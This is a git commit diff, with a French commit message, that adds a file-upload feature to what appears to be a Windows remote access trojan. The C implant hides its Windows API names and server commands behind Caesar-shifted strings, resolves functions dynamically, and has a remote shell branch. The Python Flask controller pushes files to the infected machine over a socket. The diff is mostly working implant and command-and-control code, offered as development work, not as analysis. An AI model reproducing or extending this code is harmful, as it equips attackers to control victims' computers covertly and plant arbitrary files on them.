upload marche

sauf avec les .m4v, jsp pourquoi. reste : remove directory
This commit is contained in:
2023-02-21 12:25:43 +01:00
parent 64efa1e861
commit b642bab69c
9 changed files with 85 additions and 10 deletions

View File

@@ -144,8 +144,8 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<Optimization>Disabled</Optimization>
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>

View File

@@ -138,6 +138,42 @@ int download_file(FILE* fp, SOCKET sock) {
return 1;
}
void upload_file() {
void upload_file(SOCKET sock, const char* path) {
// Receive file
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
LPCWSTR wstr = ConvertCharToWChar(path);
HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file_handle == INVALID_HANDLE_VALUE) {
Api.free(buffer);
Api.free((LPWSTR)wstr);
return;
}
Api.free((LPWSTR)wstr);
int num_bytes = 0;
int total_bytes = 0;
int iOptVal = 5000;
int iOptLen = sizeof(int);
Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
// Download the file content from the socket
while ((num_bytes = Api.recv(sock, buffer, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
if (num_bytes > 0) {
// Write the received content to the file
DWORD bytes_written = 0;
if (!Api.WriteFile(file_handle, buffer, num_bytes, &bytes_written, NULL) || bytes_written != num_bytes) {
break;
}
total_bytes += num_bytes;
}
}
// Close the file handle
Api.free(buffer);
Api.CloseHandle(file_handle);
return;
}

View File

@@ -18,4 +18,4 @@ int get_object_info(char* path, struct stat* fileinfo);
int get_drives_list(char* buf);
char* get_file_list(const char* dirPath, int* numFiles);
int download_file(FILE* fp, SOCKET sock);
void upload_file();
void upload_file(SOCKET sock, const char* path);

View File

@@ -346,7 +346,20 @@ retry:
}
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
char* path = (char*)Api.malloc(MAX_PATH);
//Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
upload_file(sock, CAESAR_DECRYPT(path));
Api.free(path);
}
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell

View File

@@ -12,6 +12,7 @@ void InitApis() {
return;
}
Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
@@ -27,6 +28,7 @@ void InitApis() {
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
if (!hMsvcrt) {
@@ -50,6 +52,7 @@ void InitApis() {
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) {
@@ -66,6 +69,7 @@ void InitApis() {
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
}
void FreeApis() {

View File

@@ -16,6 +16,7 @@ typedef SOCKET(WINAPI* Tsocket)(int, int, int);
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
typedef int(WINAPI* TWSAGetLastError)(void);
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
typedef void* (WINAPI* Tmalloc)(size_t);
@@ -35,7 +36,9 @@ typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ..
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
typedef int(WINAPI* Tfclose)(FILE*);
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* TCloseHandle)(HANDLE);
@@ -51,6 +54,7 @@ typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
typedef struct ApiList {
Tconnect connect;
@@ -63,12 +67,14 @@ typedef struct ApiList {
TWSAStartup WSAStartup;
TWSAGetLastError WSAGetLastError;
Tselect select;
Tsetsockopt setsockopt;
Tmemset memset;
Tmalloc malloc;
Tfree free;
Tstrncmp strncmp;
TCreateFileW CreateFileW;
TReadFile ReadFile;
TWriteFile WriteFile;
TCloseHandle CloseHandle;
@@ -84,6 +90,7 @@ typedef struct ApiList {
TGetProcAddress GetProcAddress;
TFindClose FindClose;
TGetLogicalDrives GetLogicalDrives;
TMultiByteToWideChar MultiByteToWideChar;
Tmbstowcs mbstowcs;
Twcstombs wcstombs;
@@ -99,6 +106,7 @@ typedef struct ApiList {
Tfopen fopen;
Tfclose fclose;
Tfread fread;
Tfwrite fwrite;
} API;
void InitApis();

View File

@@ -30,6 +30,15 @@ char* CAESAR_DECRYPT(char* in) {
return in;
}
LPCWSTR ConvertCharToWChar(const char* str)
{
int len = strlen(str) + 1;
int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0);
LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR));
Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen);
return wstr;
}
void Sleep_(int time_to_wait) {
/*
C'est la derni<6E>re fonction qu'il reste <20> faire j'en ai marre du no CRT

View File

@@ -8,5 +8,6 @@
char* CAESAR(char* in);
char* CAESAR_DECRYPT(char* in);
LPCWSTR ConvertCharToWChar(const char* str);
void Sleep_(int time_to_wait);
void Message();

View File

@@ -139,13 +139,9 @@ def recv_folder(client, path, addr, i) :
else :
recv_folder(client, path + "/" + f, addr, i + "\\" + f)
"""
#call download folder
client.send(CAESAR("download_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
"""
def upload_file(fp, sock):
sock.send(fp.read())
app = Flask(__name__)
# Disable Flask's default logging
@@ -211,7 +207,15 @@ def interact() :
return 'no file selected'
print(f"{filename} --> {path_file_ex_2}")
client.send(CAESAR("upload_file\0").encode())
file_parts = filename.split('\\')
client.send(CAESAR(path_file_ex_2 + file_parts[len(file_parts)-1] + "\0").encode())
fp = open(filename, "rb")
upload_file(fp, client)
case "remove" :
for i in files :
path = path_file_ex_2 + i